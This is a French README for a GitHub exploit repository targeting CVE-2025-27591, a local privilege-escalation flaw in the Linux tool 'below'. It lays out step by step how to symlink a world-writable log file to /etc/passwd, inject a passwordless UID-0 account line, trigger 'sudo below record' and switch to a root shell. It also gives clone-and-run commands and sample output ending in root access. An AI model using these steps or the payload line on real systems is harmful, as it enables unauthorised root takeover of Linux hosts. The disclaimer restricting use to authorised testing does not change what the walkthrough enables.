CVE-2025-27591 – Élévation de privilèges via abus de lien symbolique dans below

🛑 Avertissement : cet exploit est fourni uniquement à des fins de tests de sécurité éducatifs et autorisés. Toute utilisation non autorisée peut être illégale.

---

🧠 Aperçu

below est un outil de surveillance des performances développé par Facebook pour les systèmes Linux. Les versions de below antérieures à une version corrigée sont affectées par une vulnérabilité critique qui permet aux utilisateurs non privilégiés d'élever leurs privilèges jusqu'à root en exploitant des répertoires de journaux accessibles en écriture à tous et une gestion non sécurisée des journaux.

---

🔎 Détails du CVE

Champ	Valeur
ID CVE	CVE-2025-27591
Sévérité	🔥 Critique (CVSS ≈ 7.8 - 8.8)
Vecteur d'attaque	Local
Impact	Élévation de privilèges vers root (UID=0)
Type d'exploit	Abus de lien symbolique / Injection de fichier journal
Application concernée	below – généralement installé comme /usr/bin/below
Cause racine	Écritures de fichiers non sécurisées dans /var/log/below/ sans vérification des permissions

---

💥 Logique de l'exploit

Ce script Bash effectue les opérations suivantes :

1. Vérification du répertoire accessible en écriture à tous :

   • Confirme si /var/log/below est accessible en écriture à tous (un drapeau rouge).

2. Préparation de l'attaque par lien symbolique :

   • Supprime le fichier error_root.log existant (le cas échéant) et crée un lien symbolique vers /etc/passwd.

3. Construction de la charge utile :

   • Ajoute un faux utilisateur root dans /etc/passwd :

     fakeadmin::0:0:fakeadmin:/root:/bin/bash
     

4. Déclenchement de la journalisation :

   • Exécute sudo below record pour forcer le binaire vulnérable à écrire les journaux.

5. Obtention d'un accès root :

   • Utilise su fakeadmin pour obtenir un shell root sans demande de mot de passe.

---

📁 Structure du répertoire

CVE-2025-27591/
├── exploit.sh
├── README.md

✅ Prérequis

Avant d'exécuter l'exploit, assurez-vous de disposer des éléments suivants :

• Shell Bash (système Linux)
• Le binaire vulnérable installé : /usr/bin/below
• Répertoire de journaux accessible en écriture à tous : /var/log/below
• Privilèges sudo pour exécuter : sudo below record
• Outils disponibles :
  • ln (pour créer des liens symboliques)
  • su (pour changer d'utilisateur)
  • timeout (pour contrôler le temps d'exécution)
  • whoami (pour vérifier les privilèges)

---

🚀 Étapes d'exploitation

# 1. Clonez le dépôt
git clone https://github.com/00xCanelo/CVE-2025-27591.git
cd CVE-2025-27591

# 2. Rendez le script exécutable
chmod +x exploit.sh

# 3. Exécutez l'exploit
./exploit.sh

🧪 Exemple de sortie

[*] Checking for CVE-2025-27591 vulnerability...
[+] /var/log/below is world-writable.
[!] Found existing log file: removing it...
[+] Created symlink: /var/log/below/error_root.log -> /etc/passwd

[*] Writing malicious line to /tmp/fakeadmin
[*] Triggering logging via 'sudo below record'...
[+] 'below record' executed (or timed out)

[*] Attempting to write payload to /etc/passwd via symlink...
[+] Payload successfully appended.

[*] Trying to switch to root shell using 'su fakeadmin'...
root@target:/# whoami
root